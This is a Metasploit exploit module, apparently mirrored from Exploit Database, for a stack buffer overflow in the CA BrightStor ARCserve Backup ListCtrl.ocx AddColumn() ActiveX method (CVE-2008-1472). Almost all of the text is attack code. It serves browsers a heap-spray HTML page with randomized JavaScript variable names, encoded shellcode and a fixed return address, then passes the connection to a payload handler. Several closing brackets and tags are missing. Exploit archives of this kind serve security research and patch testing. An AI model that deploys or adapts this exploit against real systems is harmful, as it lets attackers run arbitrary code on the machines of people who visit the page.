CA BrightStor ARCserve Backup – ‘AddColumn()’ ActiveX Buffer Overflow (Metasploit)

Exploit Database
131 阅读

作者： Metasploit

日期： 2010-06-15
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16577/

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# $Id: ca_brightstor_addcolumn.rb 9525 2010-06-15 07:18:08Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',

'Description'=> %q{

The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based

buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker

could overflow a buffer and execute arbitrary code on the system.

'License'=> MSF_LICENSE,

'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],

'Version'=> '$Revision: 9525 $',

'References' =>

[

[ 'CVE', '2008-1472' ],

[ 'OSVDB', '43214' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]

'DisclosureDate' => 'Mar 16 2008',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops.

nops= Rex::Text.to_unescape(make_nops(4))

# Set the return.

ret = Rex::Text.to_unescape([target.ret].pack('V'))

# Randomize the javascript variable names.

vname= rand_text_alpha(rand(30) + 1)

var_i= rand_text_alpha(rand(5) + 1)

rand1= rand_text_alpha(rand(100) + 1)

rand2= rand_text_alpha(rand(100) + 1)

rand3= rand_text_alpha(rand(100) + 1)

rand4= rand_text_alpha(rand(100) + 1)

rand5= rand_text_alpha(rand(100) + 1)

rand6= rand_text_alpha(rand(100) + 1)

rand7= rand_text_alpha(rand(100) + 1)

content = %Q|

<html>

var #{rand1} = unescape("#{shellcode}");

var #{rand2} = 0x0A0A0A0A;

var #{rand3} = 0x400000;

var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};

var #{rand5} = unescape("#{ret}");

var #{rand6} = 128;

while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};

#{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);

#{rand7} = new Array();

for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};

while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};

#{rand5} = #{rand5}.substring(0, #{rand6});

#{vname}.AddColumn(#{rand5}, 1);

</script>

</html>

content = Rex::Text.randomize_space(content)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end